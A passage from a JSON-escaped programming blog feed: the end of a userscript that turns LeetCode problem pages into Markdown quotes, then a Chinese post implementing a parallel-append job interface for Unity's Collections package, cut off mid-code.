class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ehandleHtml\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ehtml\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003elines\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eturndownService\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eturndown\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ehtml\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"nx\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003emarkdown\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003elines\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003el\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003elines\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003emarkdown\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003el\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elength\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003emarkdown\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u0026gt; \u0026#39;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003el\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003eproblemTitle\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003edocument\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003egetElementsByClassName\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;no-underline hover:text-blue-s dark:hover:text-dark-blue-s truncate cursor-text whitespace-normal hover:!text-[inherit]\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"mf\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"nx\"\u003etextContent\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"sb\"\u003e`\u0026gt; [\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nx\"\u003eproblemTitle\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e](\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elocation\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ehref\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"sb\"\u003e)\\n\\n`\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003emarkdown\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e})();\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/leetcode-problem-desc-to-markdown/"},{"title":"实现 IJobParallelForAppend","time":"2024-03-16T14:36:06Z","content":"\u003ch1 id=\"实现-IJobParallelForAppend\"\u003e实现 IJobParallelForAppend\u003ca class=\"headerlink\" href=\"#实现-IJobParallelForAppend\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003eUnity 的 \u003ca href=\"https://docs.unity3d.com/Packages/com.unity.collections@2.4/manual/index.html\"\u003eCollections package\u003c/a\u003e 里有个 \u003ca href=\"https://docs.unity3d.com/Packages/com.unity.collections@2.4/api/Unity.Jobs.IJobParallelForFilter.html\"\u003e\u003ccode\u003eIJobParallelForFilter\u003c/code\u003e\u003c/a\u003e。我翻了相关的源码,发现虽然它名字带个 Parallel,但根本不是并行的。它的全部逻辑都是在一个线程里做的。后来,Unity 就把它名字里的 Parallel 去掉了,改成 \u003ca href=\"https://docs.unity3d.com/Packages/com.unity.collections@2.4/api/Unity.Jobs.IJobFilter.html\"\u003e\u003ccode\u003eIJobFilter\u003c/code\u003e\u003c/a\u003e。理由是\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003ccode\u003eIJobParallelForFilter\u003c/code\u003e renamed to \u003ccode\u003eIJobFilter\u003c/code\u003e to better reflect functionality. \u003csup id=\"fnref:1\"\u003e\u003ca class=\"footnote-ref\" href=\"#fn:1\"\u003e1\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e我有并行的需求,自己实现了一个超级加强版。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"na\"\u003e[JobProducerType(typeof(IJobParallelForAppendExtensions.ParallelForAppendProducer\u0026lt;,\u0026gt;))]\u003c/span\u003e\n\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003einterface\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIJobParallelForAppend\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eunmanaged\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eExecute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuf\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e它可以并行 Append 任意的 unmanaged 数据,不再局限于 \u003ccode\u003eindex\u003c/code\u003e。有点像 Compute Shader 那套东西。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eindex\u003c/code\u003e 是 for 循环当前的索引。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ebuf\u003c/code\u003e 是一个临时缓冲区。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e如果 \u003ccode\u003eExecute\u003c/code\u003e 返回 \u003ccode\u003etrue\u003c/code\u003e,\u003ccode\u003ebuf\u003c/code\u003e 的值会被 Append 到结果里。\u003c/p\u003e\n\u003ch2 id=\"样例\"\u003e样例\u003ca class=\"headerlink\" href=\"#样例\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"na\"\u003e[BurstCompile]\u003c/span\u003e\n\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eTestJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIJobParallelForAppend\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eExecute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuf\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuf\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eJobTest\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMonoBehaviour\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eStart\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eusing\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eNativeList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eAllocator\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eTempJob\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTestJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTestJob\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejob\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSchedule\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e12\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003eComplete\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLength\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e输出是 0,4,8,12,16,20,但顺序不固定。\u003c/p\u003e\n\u003ch2 id=\"核心代码\"\u003e核心代码\u003ca class=\"headerlink\" href=\"#核心代码\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e\u003ccode\u003eParallelForAppendProducer\u0026lt;TJob, TValue\u0026gt;.Execute\u003c/code\u003e 是核心的方法。在 Schedule 前分配好 \u003ccode\u003eNativeList\u0026lt;TValue\u0026gt;\u003c/code\u003e 的空间,每次有数据要 Append 时,用 \u003ccode\u003eInterlocked.Increment\u003c/code\u003e 增加 List 的元素数量,把值存进去就好。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eIJobParallelForAppendExtensions\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003einternal\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eParallelForAppendProducer\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eunmanaged\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estruct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIJobParallelForAppend\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eunsafe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eJobWrapper\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"na\"\u003e[NativeDisableUnsafePtrRestriction]\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUnsafeList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eAppendBuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobData\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e 